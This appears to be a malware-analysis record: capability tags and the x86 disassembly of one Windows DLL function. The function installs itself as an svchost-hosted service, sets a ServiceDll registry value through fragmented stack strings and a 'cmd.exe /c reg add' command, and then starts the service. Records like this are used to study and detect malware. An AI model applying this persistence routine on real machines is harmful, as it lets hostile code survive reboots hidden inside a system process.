Function at 0x100477d0
Capabilities:
Contain obfuscated stackstrings
Create service
Get common file path
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100953cf
mov eax, dword fs:[0]
push eax
sub esp, 0x5e8
mov eax, dword [0x100b2370]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x100a7ac8
lea ecx, [ebp - 0x4ec]
call fcn.1000dfe0
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x328], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 0xc]
push ecx
lea ecx, [ebp - 0x5f4]
call fcn.10013da0
mov dword [ebp - 0x310], eax
mov edx, dword [ebp - 0x310]
mov dword [ebp - 0x318], edx
mov byte [ebp - 4], 1
push str.Group
mov eax, dword [ebp - 0x318]
push eax
lea ecx, [ebp - 0x3b4]
push ecx
call fcn.100145d0
add esp, 0xc
mov dword [ebp - 0x320], eax
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x330], edx
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x328]
push eax
mov ecx, dword [ebp - 0x330]
push ecx
lea edx, [ebp - 0x248]
push edx
call fcn.10014460
add esp, 0xc
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x3b4]
call fcn.1000e020
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x5f4]
call fcn.1000e020
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x4ec]
call fcn.1000e020
mov dword [ebp - 0x294], 0
push str.VersionSvchost
lea ecx, [ebp - 0x57c]
call fcn.1000dfe0
mov dword [ebp - 0x390], eax
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x2bc], eax
mov byte [ebp - 4], 7
push str.SOFTWAREMicrosoftWindows_NTCurrent
lea ecx, [ebp - 0x3fc]
call fcn.1000dfe0
mov dword [ebp - 0x398], eax
mov ecx, dword [ebp - 0x398]
mov dword [ebp - 0x360], ecx
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x2bc]
push edx
mov eax, dword [ebp - 0x360]
push eax
lea ecx, [ebp - 0x230]
push ecx
call fcn.10014460
add esp, 0xc
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x3fc]
call fcn.1000e020
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x57c]
call fcn.1000e020
lea edx, [ebp - 0x294]
push edx
push 0xf003f
push 0
lea ecx, [ebp - 0x230]
call fcn.1000e0f0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x100479b4
mov dword [ebp - 0x2c4], 1
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.1000e020
mov eax, dword [ebp - 0x2c4]
jmp 0x10048455
mov ecx, dword [ebp + 0xc]
call fcn.1000e170
lea eax, [eax + eax + 2]
push eax
mov ecx, dword [ebp + 0xc]
call fcn.1000e0f0
push eax
push 7
push 0
lea ecx, [ebp - 0x248]
call fcn.1000e0f0
push eax
mov ecx, dword [ebp - 0x294]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x10047a21
mov dword [ebp - 0x380], 2
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.1000e020
mov eax, dword [ebp - 0x380]
jmp 0x10048455
mov edx, dword [ebp - 0x294]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0
jne 0x10047a82
mov dword [ebp - 0x2cc], 3
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.1000e020
mov eax, dword [ebp - 0x2cc]
jmp 0x10048455
xor eax, eax
mov word [ebp - 0x218], ax
push 0x206
push 0
lea ecx, [ebp - 0x216]
push ecx
call fcn.1004f5f0
add esp, 0xc
push str.ost.exe__k
lea ecx, [ebp - 0x45c]
call fcn.1000dfe0
mov dword [ebp - 0x368], eax
mov edx, dword [ebp - 0x368]
mov dword [ebp - 0x338], edx
mov byte [ebp - 4], 0xc
push str._svch
lea ecx, [ebp - 0x51c]
call fcn.1000dfe0
mov dword [ebp - 0x2d4], eax
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x2dc], eax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x338]
push ecx
mov edx, dword [ebp - 0x2dc]
push edx
lea eax, [ebp - 0x42c]
push eax
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x33c], eax
mov ecx, dword [ebp - 0x33c]
push ecx
lea ecx, [ebp - 0x230]
call fcn.10010350
lea ecx, [ebp - 0x42c]
call fcn.1000e020
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x51c]
call fcn.1000e020
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x45c]
call fcn.1000e020
call fcn.10047780
test eax, eax
jne 0x10047be5
push str.GetSystemDirectoryW
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0
jne 0x10047bb4
mov dword [ebp - 0x2e4], 8
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.1000e020
mov eax, dword [ebp - 0x2e4]
jmp 0x10048455
push 0x104
lea edx, [ebp - 0x218]
push edx
call dword [ebp - 0x2ac]
lea ecx, [ebp - 0x230]
call fcn.1000e0f0
push eax
push 0x104
lea eax, [ebp - 0x218]
push eax
call fcn.100460d0
jmp 0x10047c14
push 0x104
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
lea ecx, [ebp - 0x230]
call fcn.1000e0f0
push eax
push 0x104
lea edx, [ebp - 0x218]
push edx
call fcn.100460d0
lea ecx, [ebp - 0x248]
call fcn.1000e0f0
push eax
push 0x104
lea eax, [ebp - 0x218]
push eax
call fcn.100460d0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x218]
push ecx
push 1
push 2
push 0x20
push 0xf01ff
push 0
mov ecx, dword [ebp + 0xc]
call fcn.1000e0f0
push eax
mov edx, dword [ebp - 0x2a8]
push edx
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
jne 0x10047cc7
mov eax, dword [ebp + 0xc]
push eax
call fcn.100404d0
add esp, 4
mov byte [ebp - 0x29d], al
movzx ecx, byte [ebp - 0x29d]
test ecx, ecx
jne 0x10047cc7
mov dword [ebp - 0x344], 4
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.1000e020
mov eax, dword [ebp - 0x344]
jmp 0x10048455
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.ControlSetServices_
lea ecx, [ebp - 0x54c]
call fcn.1000dfe0
mov dword [ebp - 0x2ec], eax
mov edx, dword [ebp - 0x2ec]
mov dword [ebp - 0x2f4], edx
mov byte [ebp - 4], 0xe
push str.SYSTEMCurrent
lea ecx, [ebp - 0x48c]
call fcn.1000dfe0
mov dword [ebp - 0x34c], eax
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0x354], eax
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x2f4]
push ecx
mov edx, dword [ebp - 0x354]
push edx
lea eax, [ebp - 0x5dc]
push eax
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x2fc], eax
mov ecx, dword [ebp - 0x2fc]
mov dword [ebp - 0x35c], ecx
mov byte [ebp - 4], 0x10
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x35c]
push eax
lea ecx, [ebp - 0x260]
push ecx
call fcn.10014610
add esp, 0xc
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x5dc]
call fcn.1000e020
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x48c]
call fcn.1000e020
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x54c]
call fcn.1000e020
lea edx, [ebp - 0x294]
push edx
push 0xf003f
push 0
lea ecx, [ebp - 0x260]
call fcn.1000e0f0
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10047e06
mov dword [ebp - 0x304], 5
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x260]
call fcn.1000e020
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.1000e020
mov eax, dword [ebp - 0x304]
jmp 0x10048455
mov dword [ebp - 0x298], 0
lea eax, [ebp - 0x298]
push eax
push str.Parameters
mov ecx, dword [ebp - 0x294]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
je 0x10047e72
mov dword [ebp - 0x364], 6
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x260]
call fcn.1000e020
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.1000e020
mov eax, dword [ebp - 0x364]
jmp 0x10048455
mov ecx, dword [ebp + 8]
call fcn.1000e170
lea edx, [eax + eax + 2]
push edx
mov ecx, dword [ebp + 8]
call fcn.1000e0f0
push eax
push 2
push 0
push 0x100a7c00
mov eax, dword [ebp - 0x298]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x100482be
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
call fcn.1000e170
lea ecx, [eax + eax + 2]
push ecx
mov ecx, dword [ebp + 8]
call fcn.1000e0f0
push eax
push 2
push 0
push 0x100a7c18
mov edx, dword [ebp - 0x298]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x100482be
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 8]
call fcn.1000e170
lea eax, [eax + eax + 2]
push eax
mov ecx, dword [ebp + 8]
call fcn.1000e0f0
push eax
push 2
push 0
push str.ServiceDll
mov ecx, dword [ebp - 0x298]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x100482be
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x100a7c4c
lea ecx, [ebp - 0x564]
call fcn.1000dfe0
mov dword [ebp - 0x30c], eax
mov edx, dword [ebp - 0x30c]
mov dword [ebp - 0x378], edx
mov byte [ebp - 4], 0x15
push str.iceDll__t_reg_ex
lea ecx, [ebp - 0x534]
call fcn.1000dfe0
mov dword [ebp - 0x36c], eax
mov eax, dword [ebp - 0x36c]
mov dword [ebp - 0x348], eax
mov byte [ebp - 4], 0x16
push str.cherParameters___v_Serv
lea ecx, [ebp - 0x504]
call fcn.1000dfe0
mov dword [ebp - 0x314], eax
mov ecx, dword [ebp - 0x314]
mov dword [ebp - 0x39c], ecx
mov byte [ebp - 4], 0x17
push str.ControlSet_servicesAr
lea ecx, [ebp - 0x4d4]
call fcn.1000dfe0
mov dword [ebp - 0x374], eax
mov edx, dword [ebp - 0x374]
mov dword [ebp - 0x38c], edx
mov byte [ebp - 4], 0x18
push str.add__hklmSYSTEMCurrent
lea ecx, [ebp - 0x4a4]
call fcn.1000dfe0
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0x324], eax
mov byte [ebp - 4], 0x19
push str.cmd.exe__c_reg
lea ecx, [ebp - 0x474]
call fcn.1000dfe0
mov dword [ebp - 0x37c], eax
mov ecx, dword [ebp - 0x37c]
mov dword [ebp - 0x384], ecx
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0x324]
push edx
mov eax, dword [ebp - 0x384]
push eax
lea ecx, [ebp - 0x444]
push ecx
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x32c], eax
mov edx, dword [ebp - 0x32c]
mov dword [ebp - 0x334], edx
mov byte [ebp - 4], 0x1b
mov eax, dword [ebp - 0x38c]
push eax
mov ecx, dword [ebp - 0x334]
push ecx
lea edx, [ebp - 0x414]
push edx
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x394], eax
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x2b0], eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x39c]
push ecx
mov edx, dword [ebp - 0x2b0]
push edx
lea eax, [ebp - 0x3e4]
push eax
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x370], eax
mov ecx, dword [ebp - 0x370]
mov dword [ebp - 0x388], ecx
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x348]
push edx
mov eax, dword [ebp - 0x388]
push eax
lea ecx, [ebp - 0x3cc]
push ecx
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x350], eax
mov edx, dword [ebp - 0x350]
mov dword [ebp - 0x358], edx
mov byte [ebp - 4], 0x1e
mov eax, dword [ebp - 0x378]
push eax
mov ecx, dword [ebp - 0x358]
push ecx
lea edx, [ebp - 0x5ac]
push edx
call fcn.10014460
add esp, 0xc
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x2b8], eax
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x2b8]
push edx
lea eax, [ebp - 0x4bc]
push eax
call fcn.10014610
add esp, 0xc
mov dword [ebp - 0x2c0], eax
mov ecx, dword [ebp - 0x2c0]
mov dword [ebp - 0x2c8], ecx
mov byte [ebp - 4], 0x20
push 0x100a7c48
mov edx, dword [ebp - 0x2c8]
push edx
lea eax, [ebp - 0x290]
push eax
call fcn.100145d0
add esp, 0xc
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x4bc]
call fcn.1000e020
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x5ac]
call fcn.1000e020
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x3cc]
call fcn.1000e020
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x3e4]
call fcn.1000e020
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x414]
call fcn.1000e020
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0x444]
call fcn.1000e020
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x474]
call fcn.1000e020
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x4a4]
call fcn.1000e020
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x4d4]
call fcn.1000e020
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x504]
call fcn.1000e020
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x534]
call fcn.1000e020
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x564]
call fcn.1000e020
mov dword [ebp - 0x29c], 0
mov byte [ebp - 0x29e], 0
lea ecx, [ebp - 0x29e]
push ecx
lea edx, [ebp - 0x29c]
push edx
lea eax, [ebp - 0x290]
push eax
call fcn.10013380
add esp, 0xc
mov dword [ebp - 0x2d0], eax
mov ecx, dword [ebp - 0x29c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x2d0], 0
jne 0x100482af
mov dword [ebp - 0x2d8], 7
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x290]
call fcn.1000e020
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x260]
call fcn.1000e020
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.1000e020
mov eax, dword [ebp - 0x2d8]
jmp 0x10048455
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x290]
call fcn.1000e020
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
mov edx, dword [ebp - 0x2a4]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
mov eax, dword [ebp - 0x294]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x298]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x2a4]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x2a8]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push str.cher
lea ecx, [ebp - 0x5c4]
call fcn.1000dfe0
mov dword [ebp - 0x2e0], eax
mov ecx, dword [ebp - 0x2e0]
mov dword [ebp - 0x2f0], ecx
mov byte [ebp - 4], 0x2e
push 0x100a7d50
lea ecx, [ebp - 0x594]
call fcn.1000dfe0
mov dword [ebp - 0x2e8], eax
mov edx, dword [ebp - 0x2e8]
mov dword [ebp - 0x2f8], edx
mov byte [ebp - 4], 0x2f
mov eax, dword [ebp - 0x2f0]
push eax
mov ecx, dword [ebp - 0x2f8]
push ecx
lea edx, [ebp - 0x278]
push edx
call fcn.10014460
add esp, 0xc
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x594]
call fcn.1000e020
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x5c4]
call fcn.1000e020
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x278]
push eax
call fcn.10013a90
add esp, 4
test eax, eax
jne 0x10048406
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x300], eax
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x278]
call fcn.1000e020
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x260]
call fcn.1000e020
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.1000e020
mov eax, dword [ebp - 0x300]
jmp 0x10048455
mov dword [ebp - 0x308], 0
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x278]
call fcn.1000e020
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x260]
call fcn.1000e020
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x230]
call fcn.1000e020
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.1000e020
mov eax, dword [ebp - 0x308]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10048fad
mov esp, ebp
pop ebp
ret